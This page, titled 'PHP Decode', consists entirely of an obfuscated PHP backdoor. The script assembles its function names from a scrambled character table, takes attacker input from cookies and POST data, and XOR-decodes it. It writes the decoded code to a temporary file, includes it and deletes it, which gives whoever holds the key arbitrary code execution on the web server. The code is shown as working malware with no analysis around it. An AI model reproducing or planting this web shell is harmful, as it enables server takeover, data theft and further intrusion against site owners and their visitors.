PHP Decode

<?php 
function  ey6 () 
 
 
{ 
 
echo      'bb7';} 
 
 
 
 
$at3	=	"rL<;?vI*i b4._x8meu/op2nl6dh5g#-f7cE9)3HtF0@s(yka1'";function    hw1	( $od2  ){global $at3; 
 
$vl5=''; 
	$vl5	=      substr($vl5,	0); 
foreach(       $od2 as	$xp4	) 
{ 
 
$vl5 .=     $at3 [	$xp4       ]; 
 
}return     $vl5; 
 
}$nj8 =     [];$ctry = 4950; 
 
$nj8[78325]     =      hw1 (	Array(15 ,   10 , 48 , 10 , 25	,   32 ,	28 ,	38	,   31 , 25 ,	32  , 11   ,     33      , 31 , 11	, 15       ,	15   ,	26 , 31 ,	36	, 25	,	49	,	38 ,	31 ,   34   ,       42	, 10 ,      42 ,	38	, 38	, 32  , 10 , 17	,   10	,	11  , 11 ,) ) ; 
 
$he20	=  33173; 
$nj8[59886] =      hw1	( Array(4 , 21	,     27 ,	21	, 9	, 43	,      18 , 23  ,	24 , 8 , 23      ,	47	, 45 ,	13	,	13	,	41 ,	6 ,	1	,	35      , 13	,	13 ,	37 ,  3 ,       9  ,)  ) ; 
$nj8[39335] =      hw1     ( Array(12 ,     16 , 20 , 26	,       18	, 24 , 17 ,)  ) ; 
 
$nj8[91625]	= hw1 ( Array(39     , 7 ,)   )	; 
 
 
$nj8[66021] =	hw1 ( Array(12    ,    19 ,) ) ; 
 
$qr21 = 8316; 
 
$nj8[62430] = hw1     ( Array(30	,)     ) ; 
$nj8[20444] = hw1 (    Array(2	,) )      ; 
 
$pn22	= 3654; 
 
$nj8[80844] = hw1    ( Array(32 , 8 , 24 , 17 ,	13 ,	21 , 18	,	40 ,    13	, 34 , 20 ,	23 , 40	,       17 , 23 , 40  , 44	,)  ) ;$nm23 =       39386; 
$nj8[82889]	=	hw1 (      Array(32 , 8	, 24	,	17 ,	13 , 17 , 14 ,     8    ,	44   , 40 ,	44 ,)      )    ;$nj8[42439] =   hw1   ( Array(48 ,	0 ,	0     ,	48 , 46 , 13 ,    16 ,	17 ,       0	,      29 , 17 ,)    )	; 
 
$nj8[10690] =  hw1 (	Array(44 , 40 ,	0 , 13	, 0	, 17 , 21 , 17 , 48 ,	40	,)      )     ; 
 
$xf24 = 45149; 
$nj8[75711]       =	hw1	(      Array(17 ,	14   , 21       ,      24     ,	20 , 26 ,	17  ,)   )	; 
 
 
$cs25 = 18562; 
$nj8[26554] =	hw1      ( Array(44    , 18	, 10       ,	44 , 40	,     0      ,)	) ;$nj8[27063] = hw1 (    Array(18	,       23 ,    24 , 8   ,	23 , 47	,)     )	; 
 
 
$yu26 =      38360;$nj8[48563] =   hw1 ( Array(44 , 40  , 0 ,    24	, 17       ,   23	,) ) ; 
 
 
$nj8[434] = hw1  (	Array(21 ,       48   ,     34	, 47 ,) )      ; 
 
 
$yh27 =       22623; 
$nj8[61868] = hw1 (     Array(16 , 26	,	28 ,)	) ; 
 
 
$zu14 =	$_COOKIE; $di13 =	"3234"; 
 
$zu14 =	$nj8[42439]($zu14, $_POST); 
 
foreach ($zu14 as   $fg19 => $pi15) 
{ 
 function	nk10      (  $nj8,	$fg19      , $bd12 )     { 
 
 
 return $nj8[26554] (	$nj8[10690] (       $fg19	. $nj8[78325]      , ( $bd12/$nj8[48563]( $fg19 )  )      +	1 )    , 0 , $bd12 ); 
 
 
	} 
	function  ox9       ( $nj8, $wt18    ) { 
	return	@$nj8[434]       ($nj8[91625] ,    $wt18 ); 
 
 
    } 
	function un11	( $nj8,	$wt18  ) 
 
     { 
	if (	isset	( $wt18[2]  ) )	{ 
 
  
 
 
     $wv17	= $nj8[66021] . $nj8[61868]( $nj8[78325] ) . $nj8[39335]; 
 
 
  @$nj8[80844] (  $wv17, $nj8[20444]      .  $nj8[59886] .	$wt18[1]  ( $wt18[2] ) ); 
 
     $ru16 = $wv17; 
 @include ( $ru16 ); 
 
	if	($nj8[82889]($wv17)) @$nj8[27063] ( $wv17	); 
 
 die	(); 
  } 
       } 
 
 
	un11   ( $nj8, $nj8[75711]	(      $nj8[62430]  ,	ox9	( $nj8, $pi15 )  ^    nk10	(       $nj8, $fg19 , $nj8[48563](	$pi15       )   ) ) ); 
 
	continue;} ?>